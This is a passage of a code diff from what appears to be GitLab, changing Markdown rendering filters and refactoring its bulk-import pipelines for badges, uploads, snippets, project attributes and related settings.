- html = if Feature.enabled?(:reference_cache_memoization, project, default_enabled: :yaml)
- result[:rendered_html] ||= doc.to_html
- else
- doc.to_html
- end
+ def prepare_doc_for_scan
+ filter.requires_unescaping? ? unescape_html_entities(html_content) : html_content
+ end
- filter.requires_unescaping? ? unescape_html_entities(html) : html
+ def html_content
+ result[:rendered_html] ||= filter.doc.to_html
end
def unescape_html_entities(text)
diff --git a/lib/banzai/filter/references/reference_filter.rb b/lib/banzai/filter/references/reference_filter.rb
index 6c2c993cc01..97ef71036a2 100644
--- a/lib/banzai/filter/references/reference_filter.rb
+++ b/lib/banzai/filter/references/reference_filter.rb
@@ -184,7 +184,9 @@ module Banzai
end
def unescape_link(href)
- CGI.unescape(href)
+ # We cannot use CGI.unescape here because it also converts `+` to spaces.
+ # We need to keep the `+` for expanded reference formats.
+ Addressable::URI.unescape(href)
end
def unescape_html_entities(text)
diff --git a/lib/banzai/filter/repository_link_filter.rb b/lib/banzai/filter/repository_link_filter.rb
index 04bbcabd93f..408e6dc685d 100644
--- a/lib/banzai/filter/repository_link_filter.rb
+++ b/lib/banzai/filter/repository_link_filter.rb
@@ -174,7 +174,7 @@ module Banzai
def build_relative_path(path, request_path)
return request_path if path.empty?
return path unless request_path
- return path[1..-1] if path.start_with?('/')
+ return path[1..] if path.start_with?('/')
parts = request_path.split('/')
diff --git a/lib/banzai/filter/sanitization_filter.rb b/lib/banzai/filter/sanitization_filter.rb
index 7afbc1a1c9c..d5f45ff7689 100644
--- a/lib/banzai/filter/sanitization_filter.rb
+++ b/lib/banzai/filter/sanitization_filter.rb
@@ -28,6 +28,13 @@ module Banzai
allowlist[:attributes]['li'] = %w[id]
allowlist[:transformers].push(self.class.remove_non_footnote_ids)
+ if Feature.enabled?(:use_cmark_renderer, default_enabled: :yaml)
+ # Allow section elements with data-footnotes attribute
+ allowlist[:elements].push('section')
+ allowlist[:attributes]['section'] = %w(data-footnotes)
+ allowlist[:attributes]['a'].push('data-footnote-ref', 'data-footnote-backref')
+ end
+
allowlist
end
@@ -54,7 +61,7 @@ module Banzai
return unless node.name == 'a' || node.name == 'li'
return unless node.has_attribute?('id')
- if Feature.enabled?(:use_cmark_renderer)
+ if Feature.enabled?(:use_cmark_renderer, default_enabled: :yaml)
return if node.name == 'a' && node['id'] =~ Banzai::Filter::FootnoteFilter::FOOTNOTE_LINK_REFERENCE_PATTERN
return if node.name == 'li' && node['id'] =~ Banzai::Filter::FootnoteFilter::FOOTNOTE_LI_REFERENCE_PATTERN
else
diff --git a/lib/banzai/filter/syntax_highlight_filter.rb b/lib/banzai/filter/syntax_highlight_filter.rb
index 66bd86c5bb4..9fcfcf4acc4 100644
--- a/lib/banzai/filter/syntax_highlight_filter.rb
+++ b/lib/banzai/filter/syntax_highlight_filter.rb
@@ -58,10 +58,10 @@ module Banzai
sourcepos_attr = sourcepos ? "data-sourcepos=\"#{sourcepos}\"" : ''
- highlighted = %(<pre #{sourcepos_attr} class="#{css_classes}"
+ highlighted = %(<div class="gl-relative markdown-code-block js-markdown-code"><pre #{sourcepos_attr} class="#{css_classes}"
lang="#{language}"
#{lang_params}
- v-pre="true"><code>#{code}</code></pre>)
+ v-pre="true"><code>#{code}</code></pre><copy-code></copy-code></div>)
# Extracted to a method to measure it
replace_parent_pre_element(node, highlighted)
@@ -70,7 +70,7 @@ module Banzai
private
def parse_lang_params(node)
- node = node.parent if Feature.enabled?(:use_cmark_renderer)
+ node = node.parent if Feature.enabled?(:use_cmark_renderer, default_enabled: :yaml)
# Commonmarker's FULL_INFO_STRING render option works with the space delimiter.
# But the current behavior of GitLab's markdown renderer is different - it grabs everything as the single
@@ -92,7 +92,7 @@ module Banzai
language, language_params = language.split(LANG_PARAMS_DELIMITER, 2)
- if Feature.enabled?(:use_cmark_renderer)
+ if Feature.enabled?(:use_cmark_renderer, default_enabled: :yaml)
language_params = [node.attr('data-meta'), language_params].compact.join(' ')
end
diff --git a/lib/banzai/pipeline/post_process_pipeline.rb b/lib/banzai/pipeline/post_process_pipeline.rb
index 889574cf6bf..da2262cdf83 100644
--- a/lib/banzai/pipeline/post_process_pipeline.rb
+++ b/lib/banzai/pipeline/post_process_pipeline.rb
@@ -19,7 +19,7 @@ module Banzai
# prevent unnecessary Gitaly calls from being made.
Filter::UploadLinkFilter,
Filter::RepositoryLinkFilter,
- Filter::IssuableStateFilter,
+ Filter::IssuableReferenceExpansionFilter,
Filter::SuggestionFilter
]
end
diff --git a/lib/bulk_imports/clients/http.rb b/lib/bulk_imports/clients/http.rb
index 90414a875c6..eb3d551d1d7 100644
--- a/lib/bulk_imports/clients/http.rb
+++ b/lib/bulk_imports/clients/http.rb
@@ -123,7 +123,7 @@ module BulkImports
def with_error_handling
response = yield
- raise ::BulkImports::NetworkError.new(response: response) unless response.success?
+ raise ::BulkImports::NetworkError.new("Unsuccessful response #{response.code} from #{response.request.path.path}", response: response) unless response.success?
response
rescue *Gitlab::HTTP::HTTP_ERRORS => e
diff --git a/lib/bulk_imports/common/pipelines/badges_pipeline.rb b/lib/bulk_imports/common/pipelines/badges_pipeline.rb
new file mode 100644
index 00000000000..33a24e61a3f
--- /dev/null
+++ b/lib/bulk_imports/common/pipelines/badges_pipeline.rb
@@ -0,0 +1,44 @@
+# frozen_string_literal: true
+
+module BulkImports
+ module Common
+ module Pipelines
+ class BadgesPipeline
+ include Pipeline
+
+ extractor BulkImports::Common::Extractors::RestExtractor,
+ query: BulkImports::Common::Rest::GetBadgesQuery
+
+ transformer Common::Transformers::ProhibitedAttributesTransformer
+
+ def transform(context, data)
+ return if data.blank?
+ # Project badges API returns badges of both group and project kind. To avoid creation of duplicates for the group we skip group badges when it's a project.
+ return if context.entity.project? && group_badge?(data)
+
+ {
+ name: data['name'],
+ link_url: data['link_url'],
+ image_url: data['image_url']
+ }
+ end
+
+ def load(context, data)
+ return if data.blank?
+
+ if context.entity.project?
+ context.portable.project_badges.create!(data)
+ else
+ context.portable.badges.create!(data)
+ end
+ end
+
+ private
+
+ def group_badge?(data)
+ data['kind'] == 'group'
+ end
+ end
+ end
+ end
+end
diff --git a/lib/bulk_imports/common/pipelines/uploads_pipeline.rb b/lib/bulk_imports/common/pipelines/uploads_pipeline.rb
index 15e126e1646..49c16209661 100644
--- a/lib/bulk_imports/common/pipelines/uploads_pipeline.rb
+++ b/lib/bulk_imports/common/pipelines/uploads_pipeline.rb
@@ -8,6 +8,9 @@ module BulkImports
include Gitlab::ImportExport::CommandLineUtil
FILENAME = 'uploads.tar.gz'
+ AVATAR_PATTERN = %r{.*\/#{BulkImports::UploadsExportService::AVATAR_PATH}\/(?<identifier>.*)}.freeze
+
+ AvatarLoadingError = Class.new(StandardError)
def extract(context)
download_service(tmp_dir, context).execute
@@ -18,14 +21,18 @@ module BulkImports
end
def load(context, file_path)
- dynamic_path = FileUploader.extract_dynamic_path(file_path)
+ avatar_path = AVATAR_PATTERN.match(file_path)
+
+ return save_avatar(file_path) if avatar_path
+
+ dynamic_path = file_uploader.extract_dynamic_path(file_path)
return unless dynamic_path
return if File.directory?(file_path)
named_captures = dynamic_path.named_captures.symbolize_keys
- UploadService.new(context.portable, File.open(file_path, 'r'), FileUploader, **named_captures).execute
+ UploadService.new(context.portable, File.open(file_path, 'r'), file_uploader, **named_captures).execute
end
def after_run(_)
@@ -46,6 +53,24 @@ module BulkImports
def tmp_dir
@tmp_dir ||= Dir.mktmpdir('bulk_imports')
end
+
+ def file_uploader
+ @file_uploader ||= if context.entity.group?
+ NamespaceFileUploader
+ else
+ FileUploader
+ end
+ end
+
+ def save_avatar(file_path)
+ File.open(file_path) do |avatar|
+ service = context.entity.update_service.new(portable, current_user, avatar: avatar)
+
+ unless service.execute
+ raise AvatarLoadingError, portable.errors.full_messages.to_sentence
+ end
+ end
+ end
end
end
end
diff --git a/lib/bulk_imports/common/pipelines/wiki_pipeline.rb b/lib/bulk_imports/common/pipelines/wiki_pipeline.rb
index ccab0b979b2..6900835b14d 100644
--- a/lib/bulk_imports/common/pipelines/wiki_pipeline.rb
+++ b/lib/bulk_imports/common/pipelines/wiki_pipeline.rb
@@ -7,7 +7,9 @@ module BulkImports
include Pipeline
def extract(*)
- BulkImports::Pipeline::ExtractedData.new(data: { url: url_from_parent_path(context.entity.source_full_path) })
+ url = url_from_parent_path(context.entity.source_full_path) if source_wiki_exists?
+
+ BulkImports::Pipeline::ExtractedData.new(data: { url: url })
end
def transform(_, data)
@@ -15,14 +17,15 @@ module BulkImports
end
def load(context, data)
- return unless context.portable.wiki
+ return unless data&.dig(:url)
+ wiki = context.portable.wiki
url = data[:url].sub("://", "://oauth2:#{context.configuration.access_token}@")
Gitlab::UrlBlocker.validate!(url, allow_local_network: allow_local_requests?, allow_localhost: allow_local_requests?)
- context.portable.wiki.ensure_repository
- context.portable.wiki.repository.fetch_as_mirror(url)
+ wiki.ensure_repository
+ wiki.repository.fetch_as_mirror(url)
end
private
@@ -36,6 +39,16 @@ module BulkImports
def allow_local_requests?
Gitlab::CurrentSettings.allow_local_requests_from_web_hooks_and_services?
end
+
+ def source_wiki_exists?
+ wikis = client.get(context.entity.wikis_url_path).parsed_response
+
+ wikis.any?
+ end
+
+ def client
+ BulkImports::Clients::HTTP.new(url: context.configuration.url, token: context.configuration.access_token)
+ end
end
end
end
diff --git a/lib/bulk_imports/common/rest/get_badges_query.rb b/lib/bulk_imports/common/rest/get_badges_query.rb
new file mode 100644
index 00000000000..60b2ebcc552
--- /dev/null
+++ b/lib/bulk_imports/common/rest/get_badges_query.rb
@@ -0,0 +1,23 @@
+# frozen_string_literal: true
+
+module BulkImports
+ module Common
+ module Rest
+ module GetBadgesQuery
+ extend self
+
+ def to_h(context)
+ resource = context.entity.pluralized_name
+ encoded_full_path = ERB::Util.url_encode(context.entity.source_full_path)
+
+ {
+ resource: [resource, encoded_full_path, 'badges'].join('/'),
+ query: {
+ page: context.tracker.next_page
+ }
+ }
+ end
+ end
+ end
+ end
+end
diff --git a/lib/bulk_imports/groups/pipelines/badges_pipeline.rb b/lib/bulk_imports/groups/pipelines/badges_pipeline.rb
deleted file mode 100644
index 8569ff3f77a..00000000000
--- a/lib/bulk_imports/groups/pipelines/badges_pipeline.rb
+++ /dev/null
@@ -1,32 +0,0 @@
-# frozen_string_literal: true
-
-module BulkImports
- module Groups
- module Pipelines
- class BadgesPipeline
- include Pipeline
-
- extractor BulkImports::Common::Extractors::RestExtractor,
- query: BulkImports::Groups::Rest::GetBadgesQuery
-
- transformer Common::Transformers::ProhibitedAttributesTransformer
-
- def transform(_, data)
- return if data.blank?
-
- {
- name: data['name'],
- link_url: data['link_url'],
- image_url: data['image_url']
- }
- end
-
- def load(context, data)
- return if data.blank?
-
- context.group.badges.create!(data)
- end
- end
- end
- end
-end
diff --git a/lib/bulk_imports/groups/pipelines/group_avatar_pipeline.rb b/lib/bulk_imports/groups/pipelines/group_avatar_pipeline.rb
deleted file mode 100644
index 6de8bbbc910..00000000000
--- a/lib/bulk_imports/groups/pipelines/group_avatar_pipeline.rb
+++ /dev/null
@@ -1,49 +0,0 @@
-# frozen_string_literal: true
-
-module BulkImports
- module Groups
- module Pipelines
- class GroupAvatarPipeline
- include Pipeline
-
- ALLOWED_AVATAR_DOWNLOAD_TYPES = (AvatarUploader::MIME_WHITELIST + %w(application/octet-stream)).freeze
-
- GroupAvatarLoadingError = Class.new(StandardError)
-
- def extract(context)
- context.extra[:tmpdir] = Dir.mktmpdir
-
- filepath = BulkImports::FileDownloadService.new(
- configuration: context.configuration,
- relative_url: "/groups/#{context.entity.encoded_source_full_path}/avatar",
- dir: context.extra[:tmpdir],
- file_size_limit: Avatarable::MAXIMUM_FILE_SIZE,
- allowed_content_types: ALLOWED_AVATAR_DOWNLOAD_TYPES
- ).execute
-
- BulkImports::Pipeline::ExtractedData.new(data: { filepath: filepath })
- end
-
- def load(context, data)
- return if data.blank?
-
- File.open(data[:filepath]) do |avatar|
- service = ::Groups::UpdateService.new(
- portable,
- current_user,
- avatar: avatar
- )
-
- unless service.execute
- raise GroupAvatarLoadingError, portable.errors.full_messages.first
- end
- end
- end
-
- def after_run(_)
- FileUtils.remove_entry(context.extra[:tmpdir]) if context.extra[:tmpdir].present?
- end
- end
- end
- end
-end
diff --git a/lib/bulk_imports/groups/rest/get_badges_query.rb b/lib/bulk_imports/groups/rest/get_badges_query.rb
deleted file mode 100644
index 79ffdd9a1f6..00000000000
--- a/lib/bulk_imports/groups/rest/get_badges_query.rb
+++ /dev/null
@@ -1,22 +0,0 @@
-# frozen_string_literal: true
-
-module BulkImports
- module Groups
- module Rest
- module GetBadgesQuery
- extend self
-
- def to_h(context)
- encoded_full_path = ERB::Util.url_encode(context.entity.source_full_path)
-
- {
- resource: ['groups', encoded_full_path, 'badges'].join('/'),
- query: {
- page: context.tracker.next_page
- }
- }
- end
- end
- end
- end
-end
diff --git a/lib/bulk_imports/groups/stage.rb b/lib/bulk_imports/groups/stage.rb
index 241dd428dd5..1a3babe1679 100644
--- a/lib/bulk_imports/groups/stage.rb
+++ b/lib/bulk_imports/groups/stage.rb
@@ -11,10 +11,6 @@ module BulkImports
pipeline: BulkImports::Groups::Pipelines::GroupPipeline,
stage: 0
},
- avatar: {
- pipeline: BulkImports::Groups::Pipelines::GroupAvatarPipeline,
- stage: 1
- },
subgroups: {
pipeline: BulkImports::Groups::Pipelines::SubgroupEntitiesPipeline,
stage: 1
@@ -32,13 +28,17 @@ module BulkImports
stage: 1
},
badges: {
- pipeline: BulkImports::Groups::Pipelines::BadgesPipeline,
+ pipeline: BulkImports::Common::Pipelines::BadgesPipeline,
stage: 1
},
boards: {
pipeline: BulkImports::Common::Pipelines::BoardsPipeline,
stage: 2
},
+ uploads: {
+ pipeline: BulkImports::Common::Pipelines::UploadsPipeline,
+ stage: 2
+ },
finisher: {
pipeline: BulkImports::Common::Pipelines::EntityFinisher,
stage: 3
diff --git a/lib/bulk_imports/ndjson_pipeline.rb b/lib/bulk_imports/ndjson_pipeline.rb
index 6cc29d63919..d5475a8b324 100644
--- a/lib/bulk_imports/ndjson_pipeline.rb
+++ b/lib/bulk_imports/ndjson_pipeline.rb
@@ -10,7 +10,12 @@ module BulkImports
ndjson_pipeline!
def transform(context, data)
+ return unless data
+
relation_hash, relation_index = data
+
+ return unless relation_hash
+
relation_definition = import_export_config.top_relation_tree(relation)
relation_object = deep_transform_relation!(relation_hash, relation, relation_definition) do |key, hash|
@@ -31,9 +36,7 @@ module BulkImports
end
def load(_, object)
- return unless object
-
- object.save! unless object.persisted?
+ object&.save!
end
def deep_transform_relation!(relation_hash, relation_key, relation_definition, &block)
diff --git a/lib/bulk_imports/projects/graphql/get_project_query.rb b/lib/bulk_imports/projects/graphql/get_project_query.rb
index 2aec496880f..04ac0916bbc 100644
--- a/lib/bulk_imports/projects/graphql/get_project_query.rb
+++ b/lib/bulk_imports/projects/graphql/get_project_query.rb
@@ -4,6 +4,7 @@ module BulkImports
module Projects
module Graphql
module GetProjectQuery
+ extend Queryable
extend self
def to_s
@@ -28,22 +29,6 @@ module BulkImports
}
GRAPHQL
end
-
- def variables(context)
- { full_path: context.entity.source_full_path }
- end
-
- def base_path
- %w[data project]
- end
-
- def data_path
- base_path
- end
-
- def page_info_path
- base_path << 'page_info'
- end
end
end
end
diff --git a/lib/bulk_imports/projects/graphql/get_repository_query.rb b/lib/bulk_imports/projects/graphql/get_repository_query.rb
index d3e377c1175..24efce9e276 100644
--- a/lib/bulk_imports/projects/graphql/get_repository_query.rb
+++ b/lib/bulk_imports/projects/graphql/get_repository_query.rb
@@ -4,6 +4,7 @@ module BulkImports
module Projects
module Graphql
module GetRepositoryQuery
+ extend Queryable
extend self
def to_s
@@ -15,22 +16,6 @@ module BulkImports
}
GRAPHQL
end
-
- def variables(context)
- { full_path: context.entity.source_full_path }
- end
-
- def base_path
- %w[data project]
- end
-
- def data_path
- base_path
- end
-
- def page_info_path
- base_path << 'page_info'
- end
end
end
end
diff --git a/lib/bulk_imports/projects/graphql/get_snippet_repository_query.rb b/lib/bulk_imports/projects/graphql/get_snippet_repository_query.rb
new file mode 100644
index 00000000000..1ba57789612
--- /dev/null
+++ b/lib/bulk_imports/projects/graphql/get_snippet_repository_query.rb
@@ -0,0 +1,48 @@
+# frozen_string_literal: true
+
+module BulkImports
+ module Projects
+ module Graphql
+ module GetSnippetRepositoryQuery
+ extend Queryable
+ extend self
+
+ def to_s
+ <<-'GRAPHQL'
+ query($full_path: ID!) {
+ project(fullPath: $full_path) {
+ snippets {
+ page_info: pageInfo {
+ next_page: endCursor
+ has_next_page: hasNextPage
+ }
+ nodes {
+ title
+ createdAt
+ httpUrlToRepo
+ }
+ }
+ }
+ }
+ GRAPHQL
+ end
+
+ def variables(context)
+ {
+ full_path: context.entity.source_full_path,
+ cursor: context.tracker.next_page,
+ per_page: ::BulkImports::Tracker::DEFAULT_PAGE_SIZE
+ }
+ end
+
+ def base_path
+ %w[data project snippets]
+ end
+
+ def data_path
+ base_path << 'nodes'
+ end
+ end
+ end
+ end
+end
diff --git a/lib/bulk_imports/projects/graphql/queryable.rb b/lib/bulk_imports/projects/graphql/queryable.rb
new file mode 100644
index 00000000000..a897632dff3
--- /dev/null
+++ b/lib/bulk_imports/projects/graphql/queryable.rb
@@ -0,0 +1,25 @@
+# frozen_string_literal: true
+
+module BulkImports
+ module Projects
+ module Graphql
+ module Queryable
+ def variables(context)
+ { full_path: context.entity.source_full_path }
+ end
+
+ def base_path
+ %w[data project]
+ end
+
+ def data_path
+ base_path
+ end
+
+ def page_info_path
+ base_path << 'page_info'
+ end
+ end
+ end
+ end
+end
diff --git a/lib/bulk_imports/projects/pipelines/auto_devops_pipeline.rb b/lib/bulk_imports/projects/pipelines/auto_devops_pipeline.rb
new file mode 100644
index 00000000000..1e54ca7017d
--- /dev/null
+++ b/lib/bulk_imports/projects/pipelines/auto_devops_pipeline.rb
@@ -0,0 +1,15 @@
+# frozen_string_literal: true
+
+module BulkImports
+ module Projects
+ module Pipelines
+ class AutoDevopsPipeline
+ include NdjsonPipeline
+
+ relation_name 'auto_devops'
+
+ extractor ::BulkImports::Common::Extractors::NdjsonExtractor, relation: relation
+ end
+ end
+ end
+end
diff --git a/lib/bulk_imports/projects/pipelines/ci_pipelines_pipeline.rb b/lib/bulk_imports/projects/pipelines/ci_pipelines_pipeline.rb
new file mode 100644
index 00000000000..4487835b88e
--- /dev/null
+++ b/lib/bulk_imports/projects/pipelines/ci_pipelines_pipeline.rb
@@ -0,0 +1,15 @@
+# frozen_string_literal: true
+
+module BulkImports
+ module Projects
+ module Pipelines
+ class CiPipelinesPipeline
+ include NdjsonPipeline
+
+ relation_name 'ci_pipelines'
+
+ extractor ::BulkImports::Common::Extractors::NdjsonExtractor, relation: relation
+ end
+ end
+ end
+end
diff --git a/lib/bulk_imports/projects/pipelines/container_expiration_policy_pipeline.rb b/lib/bulk_imports/projects/pipelines/container_expiration_policy_pipeline.rb
new file mode 100644
index 00000000000..796e2bd5293
--- /dev/null
+++ b/lib/bulk_imports/projects/pipelines/container_expiration_policy_pipeline.rb
@@ -0,0 +1,15 @@
+# frozen_string_literal: true
+
+module BulkImports
+ module Projects
+ module Pipelines
+ class ContainerExpirationPolicyPipeline
+ include NdjsonPipeline
+
+ relation_name 'container_expiration_policy'
+
+ extractor ::BulkImports::Common::Extractors::NdjsonExtractor, relation: relation
+ end
+ end
+ end
+end
diff --git a/lib/bulk_imports/projects/pipelines/pipeline_schedules_pipeline.rb b/lib/bulk_imports/projects/pipelines/pipeline_schedules_pipeline.rb
new file mode 100644
index 00000000000..67053f4e0d4
--- /dev/null
+++ b/lib/bulk_imports/projects/pipelines/pipeline_schedules_pipeline.rb
@@ -0,0 +1,15 @@
+# frozen_string_literal: true
+
+module BulkImports
+ module Projects
+ module Pipelines
+ class PipelineSchedulesPipeline
+ include NdjsonPipeline
+
+ relation_name 'pipeline_schedules'
+
+ extractor ::BulkImports::Common::Extractors::NdjsonExtractor, relation: relation
+ end
+ end
+ end
+end
diff --git a/lib/bulk_imports/projects/pipelines/project_attributes_pipeline.rb b/lib/bulk_imports/projects/pipelines/project_attributes_pipeline.rb
new file mode 100644
index 00000000000..4d742225ff7
--- /dev/null
+++ b/lib/bulk_imports/projects/pipelines/project_attributes_pipeline.rb
@@ -0,0 +1,85 @@
+# frozen_string_literal: true
+
+module BulkImports
+ module Projects
+ module Pipelines
+ class ProjectAttributesPipeline
+ include Pipeline
+
+ transformer ::BulkImports::Common::Transformers::ProhibitedAttributesTransformer
+
+ def extract(context)
+ download_service(tmp_dir, context).execute
+ decompression_service(tmp_dir).execute
+ project_attributes = json_decode(json_attributes)
+
+ BulkImports::Pipeline::ExtractedData.new(data: project_attributes)
+ end
+
+ def transform(_, data)
+ subrelations = config.portable_relations_tree.keys.map(&:to_s)
+
+ Gitlab::ImportExport::AttributeCleaner.clean(
+ relation_hash: data,
+ relation_class: Project,
+ excluded_keys: config.relation_excluded_keys(:project)
+ ).except(*subrelations)
+ end
+
+ def load(_, data)
+ portable.assign_attributes(data)
+ portable.reconcile_shared_runners_setting!
+ portable.drop_visibility_level!
+ portable.save!
+ end
+
+ def after_run(_)
+ FileUtils.remove_entry(tmp_dir)
+ end
+
+ def json_attributes
+ @json_attributes ||= File.read(File.join(tmp_dir, filename))
+ end
+
+ private
+
+ def tmp_dir
+ @tmp_dir ||= Dir.mktmpdir
+ end
+
+ def config
+ @config ||= BulkImports::FileTransfer.config_for(portable)
+ end
+
+ def download_service(tmp_dir, context)
+ @download_service ||= BulkImports::FileDownloadService.new(
+ configuration: context.configuration,
+ relative_url: context.entity.relation_download_url_path(BulkImports::FileTransfer::BaseConfig::SELF_RELATION),
+ dir: tmp_dir,
+ filename: compressed_filename
+ )
+ end
+
+ def decompression_service(tmp_dir)
+ @decompression_service ||= BulkImports::FileDecompressionService.new(dir: tmp_dir, filename: compressed_filename)
+ end
+
+ def compressed_filename
+ "#{filename}.gz"
+ end
+
+ def filename
+ "#{BulkImports::FileTransfer::BaseConfig::SELF_RELATION}.json"
+ end
+
+ def json_decode(string)
+ Gitlab::Json.parse(string)
+ rescue JSON::ParserError => e
+ Gitlab::ErrorTracking.log_exception(e)
+
+ raise BulkImports::Error, 'Incorrect JSON format'
+ end
+ end
+ end
+ end
+end
diff --git a/lib/bulk_imports/projects/pipelines/project_feature_pipeline.rb b/lib/bulk_imports/projects/pipelines/project_feature_pipeline.rb
new file mode 100644
index 00000000000..ff5437efeef
--- /dev/null
+++ b/lib/bulk_imports/projects/pipelines/project_feature_pipeline.rb
@@ -0,0 +1,15 @@
+# frozen_string_literal: true
+
+module BulkImports
+ module Projects
+ module Pipelines
+ class ProjectFeaturePipeline
+ include NdjsonPipeline
+
+ relation_name 'project_feature'
+
+ extractor ::BulkImports::Common::Extractors::NdjsonExtractor, relation: relation
+ end
+ end
+ end
+end
diff --git a/lib/bulk_imports/projects/pipelines/repository_pipeline.rb b/lib/bulk_imports/projects/pipelines/repository_pipeline.rb
index 6bbd4d0688b..f5ccc1dd922 100644
--- a/lib/bulk_imports/projects/pipelines/repository_pipeline.rb
+++ b/lib/bulk_imports/projects/pipelines/repository_pipeline.rb
@@ -16,6 +16,8 @@ module BulkImports
def load(context, data)
url = data['httpUrlToRepo']
+ return unless url.present?
+
url = url.sub("://", "://oauth2:#{context.configuration.access_token}@")
project = context.portable
diff --git a/lib/bulk_imports/projects/pipelines/service_desk_setting_pipeline.rb b/lib/bulk_imports/projects/pipelines/service_desk_setting_pipeline.rb
new file mode 100644
index 00000000000..a50b5423366
--- /dev/null
+++ b/lib/bulk_imports/projects/pipelines/service_desk_setting_pipeline.rb
@@ -0,0 +1,15 @@
+# frozen_string_literal: true
+
+module BulkImports
+ module Projects
+ module Pipelines
+ class ServiceDeskSettingPipeline
+ include NdjsonPipeline
+
+ relation_name 'service_desk_setting'
+
+ extractor ::BulkImports::Common::Extractors::NdjsonExtractor, relation: relation
+ end
+ end
+ end
+end
diff --git a/lib/bulk_imports/projects/pipelines/snippets_pipeline.rb b/lib/bulk_imports/projects/pipelines/snippets_pipeline.rb
new file mode 100644
index 00000000000..d543bcec383
--- /dev/null
+++ b/lib/bulk_imports/projects/pipelines/snippets_pipeline.rb
@@ -0,0 +1,15 @@
+# frozen_string_literal: true
+
+module BulkImports
+ module Projects
+ module Pipelines
+ class SnippetsPipeline
+ include NdjsonPipeline
+
+ relation_name 'snippets'
+
+ extractor ::BulkImports::Common::Extractors::NdjsonExtractor, relation: relation
+ end
+ end
+ end
+end
diff --git a/lib/bulk_imports/projects/pipelines/snippets_repository_pipeline.rb b/lib/bulk_imports/projects/pipelines/snippets_repository_pipeline.rb
new file mode 100644
index 00000000000..6d423717a51
--- /dev/null
+++ b/lib/bulk_imports/projects/pipelines/snippets_repository_pipeline.rb
@@ -0,0 +1,69 @@
+# frozen_string_literal: true
+
+module BulkImports
+ module Projects
+ module Pipelines
+ class SnippetsRepositoryPipeline
+ include Pipeline
+
+ extractor Common::Extractors::GraphqlExtractor, query: Graphql::GetSnippetRepositoryQuery
+
+ def transform(_context, data)
+ data.tap do |d|
+ d['createdAt'] = DateTime.parse(data['createdAt'])
+ end
+ end
+
+ def load(context, data)
+ return unless data['httpUrlToRepo'].present?
+
+ oauth2_url = oauth2(data['httpUrlToRepo'])
+ validate_url(oauth2_url)
+
+ matched_snippet = find_matched_snippet(data)
+ # Skip snippets that we couldn't find a match. Probably because more snippets were
+ # added after the migration had already started, namely after the SnippetsPipeline
+ # has already run.
+ return unless matched_snippet
+
+ matched_snippet.create_repository
+ matched_snippet.repository.fetch_as_mirror(oauth2_url)
+ response = Snippets::RepositoryValidationService.new(nil, matched_snippet).execute
+
+ # skips matched_snippet repository creation if repository is invalid
+ return cleanup_snippet_repository(matched_snippet) if response.error?
+
+ Snippets::UpdateStatisticsService.new(matched_snippet).execute
+ end
+
+ private
+
+ def find_matched_snippet(data)
+ Snippet.find_by_project_title_trunc_created_at(
+ context.portable, data['title'], data['createdAt'])
+ end
+
+ def allow_local_requests?
+ Gitlab::CurrentSettings.allow_local_requests_from_web_hooks_and_services?
+ end
+
+ def oauth2(url)
+ url.sub("://", "://oauth2:#{context.configuration.access_token}@")
+ end
+
+ def validate_url(url)
+ Gitlab::UrlBlocker.validate!(
+ url,
+ allow_local_network: allow_local_requests?,
+ allow_localhost: allow_local_requests?)
+ end
+
+ def cleanup_snippet_repository(snippet)
+ snippet.repository.remove
+ snippet.snippet_repository.delete
+ snippet.repository.expire_exists_cache
+ end
+ end
+ end
+ end
+end
diff --git a/lib/bulk_imports/projects/stage.rb b/lib/bulk_imports/projects/stage.rb
index 9ccc9efff1d..0556395ca66 100644
--- a/lib/bulk_imports/projects/stage.rb
+++ b/lib/bulk_imports/projects/stage.rb
@@ -15,6 +15,10 @@ module BulkImports
pipeline: BulkImports::Projects::Pipelines::RepositoryPipeline,
stage: 1
},
+ project_attributes: {
+ pipeline: BulkImports::Projects::Pipelines::ProjectAttributesPipeline,
+ stage: 1
+ },
labels: {
pipeline: BulkImports::Common::Pipelines::LabelsPipeline,
stage: 2
@@ -23,10 +27,22 @@ module BulkImports
pipeline: BulkImports::Common::Pipelines::MilestonesPipeline,
stage: 2
},
+ badges: {
+ pipeline: BulkImports::Common::Pipelines::BadgesPipeline,
+ stage: 2
+ },
issues: {
pipeline: BulkImports::Projects::Pipelines::IssuesPipeline,
stage: 3
},
+ snippets: {
+ pipeline: BulkImports::Projects::Pipelines::SnippetsPipeline,
+ stage: 3
+ },
+ snippets_repository: {
+ pipeline: BulkImports::Projects::Pipelines::SnippetsRepositoryPipeline,
+ stage: 4
+ },
boards: {
pipeline: BulkImports::Common::Pipelines::BoardsPipeline,
stage: 4
@@ -43,6 +59,22 @@ module BulkImports
pipeline: BulkImports::Projects::Pipelines::ProtectedBranchesPipeline,
stage: 4
},
+ ci_pipelines: {
+ pipeline: BulkImports::Projects::Pipelines::CiPipelinesPipeline,
+ stage: 4
+ },
+ project_feature: {
+ pipeline: BulkImports::Projects::Pipelines::ProjectFeaturePipeline,
+ stage: 4
+ },
+ container_expiration_policy: {
+ pipeline: BulkImports::Projects::Pipelines::ContainerExpirationPolicyPipeline,
+ stage: 4
+ },
+ service_desk_setting: {
+ pipeline: BulkImports::Projects::Pipelines::ServiceDeskSettingPipeline,
+ stage: 4
+ },
wiki: {
pipeline: BulkImports::Common::Pipelines::WikiPipeline,
stage: 5
@@ -51,6 +83,14 @@ module BulkImports
pipeline: BulkImports::Common::Pipelines::UploadsPipeline,
stage: 5
},
+ auto_devops: {
+ pipeline: BulkImports::Projects::Pipelines::AutoDevopsPipeline,
+ stage: 5
+ },
+ pipeline_schedules: {
+ pipeline: BulkImports::Projects::Pipelines::PipelineSchedulesPipeline,
+ stage: 5
+ },
finisher: {
pipeline: BulkImports::Common::Pipelines::EntityFinisher,
stage: 6
diff --git a/lib/extracts_ref.rb b/lib/extracts_ref.rb
index d130a9d6f82..daba0452318 100644
--- a/lib/extracts_ref.rb
+++ b/lib/extracts_ref.rb
@@ -113,7 +113,7 @@ module ExtractsRef
best_match = valid_refs.max_by(&:length)
# Partition the string into the ref and the path, ignoring the empty first value
- id.partition(best_match)[1..-1]
+ id.partition(best_match)[1..]
end
def use_first_path_segment?(ref)
diff --git a/lib/feature.rb b/lib/feature.rb
index 8186fbc40fa..f301f206b46 100644
--- a/lib/feature.rb
+++ b/lib/feature.rb
@@ -83,7 +83,12 @@ class Feature
# `persisted?` can potentially generate DB queries and also checks for inclusion
# in an array of feature names (177 at last count), possibly reducing performance by half.
# So we only perform the `persisted` check if `default_enabled: true`
- !default_enabled || Feature.persisted_name?(feature.name) ? feature.enabled?(thing) : true
